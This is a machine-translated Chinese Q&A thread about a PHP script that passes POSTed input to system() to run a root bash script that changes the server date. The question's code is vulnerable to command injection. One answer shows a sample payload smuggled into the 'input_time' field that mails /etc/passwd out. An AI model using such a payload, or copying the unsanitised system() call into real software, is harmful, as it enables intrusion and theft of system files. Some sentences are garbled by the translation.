以root身份运行一个bash脚本来改变date,当被php脚本调用时

我需要通过运行由php调用的bash脚本来更改服务器date。 当我从shell调用bash脚本它的作品,但如果我通过PHP调用,那么它不工作。 bash脚本以root身份运行。

PHP脚本代码:

<?php $time = $_POST['input_time']; $command = "/home/tutul/bin/timetest.sh"; $output=system("$command $time"); echo "$output"; ?> 

bash脚本代码:

 #! /bin/sh date $1 hwclock --systohc --utc 

我在这里做错了什么?

我试图在本地机器上运行它作为根login时,所以我猜脚本是作为根进行调用?

首先,我假定你意识到PHP脚本容易被命令注入,是吗? 例如,如果我通过“ input_time=whocares%3Bmail+me%40gmail.com+%3C+%2Fetc%2Fpasswd ”POST脚本,我可以在我的收件箱中input_time=whocares%3Bmail+me%40gmail.com+%3C+%2Fetc%2Fpasswd一个不错的密码文件。

其次,设置系统时间需要root权限。 如果您正在调用二进制可执行文件,则可以将其设置为SETUID( chmod u+s $program; chown root $program )。 幸运的是,Linux不尊重脚本上的SETUID位。 如果你完全使用这种技术,一个解决方法是编写一个C封装来以root身份调用你的脚本。 包装将是SETUID根,并会调用您的脚本。 如果你这样做, 确保在input之前清理input到脚本中!

编辑:

https://stackoverflow.com/questions/556194/calling-a-script-from-a-setuid-root-c-program-script-does-not-run-as-root

如果以root用户身份运行脚本,它将以root用户身份运行,除非您使用某些命令进行其他操作。

你需要–set或者-sselectdate命令才能真正改变时间。

这就是说,你确定你真的想这样做吗? 你在做什么或试图完成什么? 总的来说,这对我来说似乎不是最好的主意……除非你正在为路由器或类似的东西做一个networking界面。

更好的做法可能是使用NTPD来保持系统时间准确,然后让networking应用程序根据其值进行调整。

你说它不能从PHP工作 – 你是以root用户还是通过web界面从命令行运行PHP脚本? 当您通过Web浏览器访问PHP脚本时,该命令将以您的Web服务器正在使用的用户标识运行。 通常这不会是根。

你不会提到脚本是否是setuid,但如果不是,那么它可能以用户“apache”或“www-user”或“nobody”或类似的方式运行。 你可以使shell脚本setuid,但从安全angular度来看,这通常是一个坏主意。 当然,以root身份运行你的web服务器也是如此。